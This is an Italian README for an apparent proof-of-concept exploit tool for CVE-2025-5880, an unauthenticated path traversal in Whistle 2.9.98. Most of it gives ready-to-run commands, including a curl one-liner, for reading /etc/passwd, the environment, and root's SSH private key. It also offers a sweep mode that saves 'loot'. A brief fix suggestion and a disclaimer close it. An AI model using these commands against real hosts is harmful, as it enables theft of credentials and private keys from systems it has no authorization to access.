
Exploit proof-of-concept per una vulnerabilità di path traversal non autenticata in Whistle v2.9.98.
Exploit proof-of-concept per una vulnerabilità di path traversal non autenticata in Whistle v2.9.98.
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2025-5880 |
| CWE | CWE-22 (Path Traversal) |
| Software interessato | Whistle ≤ 2.9.98 |
| Endpoint interessato | /cgi-bin/sessions/get-temp-file |
| Vettore di attacco | Rete — nessuna autenticazione richiesta |
| Impatto | Lettura arbitraria di file sul filesystem host |
Il parametro di query filename non viene sanificato prima di essere utilizzato per aprire un file su disco, consentendo a un attaccante di uscire dalla directory dei file temporanei prevista e leggere qualsiasi file a cui il processo Whistle ha permesso di accedere (ad es. /etc/passwd, /root/.ssh/id_rsa).
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
# Leggi /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Recupera la chiave privata SSH di root
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Leggi un percorso arbitrario
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Scansione e salvataggio di tutti i preset
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Aggiorna Whistle a una versione che convalidi e limiti il parametro filename alla directory dei file temporanei prevista. Applica una normalizzazione del percorso tramite allowlist (ad es. path.resolve + controllo del prefisso) lato server.
Questo strumento è fornito solo per test di sicurezza autorizzati e a scopo didattico.
L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione è illegale e non etico.
L'autore non si assume alcuna responsabilità per un uso improprio.
| Flag | Descrizione |
|---|
-u / --url | URL di base del target (es. http://192.168.1.10:8899) |
-f / --file | Percorso del file arbitrario da leggere |
--preset | Scorciatoia denominata: passwd shadow hosts id_rsa … |
--sweep | Itera automaticamente tutti i preset |
-o / --output | Salva il risultato in un file |
--save-dir | Directory in cui salvare il bottino da --sweep |
--timeout | Timeout HTTP in secondi (default 10) |